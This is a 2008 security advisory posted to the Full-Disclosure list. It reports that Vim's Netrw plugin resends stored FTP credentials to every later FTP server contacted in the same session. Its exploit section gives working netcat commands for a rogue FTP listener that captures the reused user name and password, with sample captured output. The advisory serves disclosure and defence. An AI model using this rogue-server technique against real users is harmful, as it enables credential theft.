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full-disclosure-uk: [Full-disclosure] Vim: Netrw: FTP User Name

[Full-disclosure] Vim: Netrw: FTP User Name and Password Disclosure

From: Jan Minář <rdancer_at_nospam>
Date: Tue Aug 12 2008 - 21:59:59 GMT
To: bugs@vim.org, vim-dev@vim.org, full-disclosure@lists.grok.org.uk, bugtraq@securityfocus.com, "Charles E Campbell, Jr (Vim Netrw Plugin Maintainer)" <drchip@campbellfamily.biz>

Vim: Netrw: FTP User Name and Password Disclosure

Product : Vim -- Vi IMproved Versions : Tested with Vim 7.1.266, 7.2, autoload/netrw.vim v131, v109 Impact : Credentials disclosure Wherefrom: Remote Original : http://www.rdancer.org/vulnerablevim-netrw-credentials-dis.html

The Vim Netrw Plugin shares the FTP user name and password across all FTP sessions. Every time Vim makes a new FTP connection, it sends the user name and password of the previous FTP session to the FTP server.

2. BACKGROUND   ``Vim is an almost compatible version of the UNIX editor Vi. Many new     features have been added: multi-level undo, syntax highlighting,     command line history, on-line help, spell checking, filename     completion, block operations, etc.''

  • Vim README.txt

  ``Netrw supports "transparent" editing of files on other machines     using [...] vim ftp://hostname/path/to/file''

  ``Attempts to use ftp will prompt you for a user-id and a password.     These will be saved in global variables g:netrw_uid and     s:netrw_passwd; subsequent uses of ftp will re-use those two items     to simplify the further use of ftp. However, if you need to use a     different user id and/or password, you'll want to call NetUserPass()     first.''

  • Netrw Reference Manual (``pi_netrw.txt'') 3. VULNERABILITY
Once vim successfully connects to an FTP server using a user name and password credentials, it will re-use them in all subsequent FTP sessions, regardless of the domain name or TCP port.

This behaviour is documented, although the documentation states the credentials are ``retained on a per-session basis''. Apparently the Vim session, not the FTP session:

  ``g:netrw_uid (ftp) user-id, retained on a per-session basis     s:netrw_passwd (ftp) password, retained on a per-session basis''

  • Netrw Reference Manual (``pi_netrw.txt'')

Although FTP communication is not encrypted and therefore open to eavesdropping, if the access to the network is protected, a credentials-based access control is meaningful, and the credentials must be kept secret. For example, an FTP connection to a virtual Xen instance on the same physical machine is secure; so is an FTP session over a local ethernet segment secured against access from untrusted parties.

4. EXPLOIT No adversary action on the part of the attacker is necessary, apart from keeping logs of the user name, password, source IP address, and other information about the FTP session.

An example using netcat(1) for the rouge FTP server. There is another FTP server already running on the machine:

# For the sake of this example, a custom hosts file. Note that
# ftp.secure.example and ftp.rogue.example map to different IP
# addresses.

    $ grep '\.example' /etc/hosts ftp.secure.example ftp.rogue.example
# There is a stock FTP server running already
    $ netstat -plan | grep ftp
    tcp 0 0* LISTEN 30623/vsftpd
# Start the rogue FTP server

    $ printf '220\r\n331\r\n' \
    | netcat -lp 31337 ftp.rogue.example > credentials&
# We use the ex command for clarity.
    $ ex ftp://ftp.secure.example/
    Enter username: rdancer
    Enter Password: *************
    Entering Ex mode. Type "visual" to go to Normal mode.     :spl ftp://ftp.rogue.example:31337/
    "ftp://ftp.rogue.example:31337/" --No lines in buffer--     :qa!
    $ cat credentials
    USER rdancer
    PASS z5vS24u76OrGM

5. COPYRIGHT This advisory is Copyright 2008 Jan Minar <rdancer@rdancer.org>

Copying welcome, under the Creative Commons ``Attribution-Share Alike'' License http://creativecommons.org/licenses/by-sa/2.0/uk/

Code included herein, and accompanying this advisory, may be copied according to the GNU General Public License version 2, or the Vim license. See the subdirectory ``licenses''.

Various portions of the accompanying code may have been written by various parties. Those parties may hold copyright, and those portions may be copied according to their respective licenses.

6. HISTORY 2008-08-12 Sent to: <bugs@vim.org>, <vim-dev@vim.org>, <full-disclosure@lists.grok.org.uk>, <bugtraq@securityfocus.com>, Charles E Campbell, Jr (Vim Netrw Plugin Maintainer) <drchip@campbellfamily.biz> _______________________________________________ Full-Disclosure - We believe in it.
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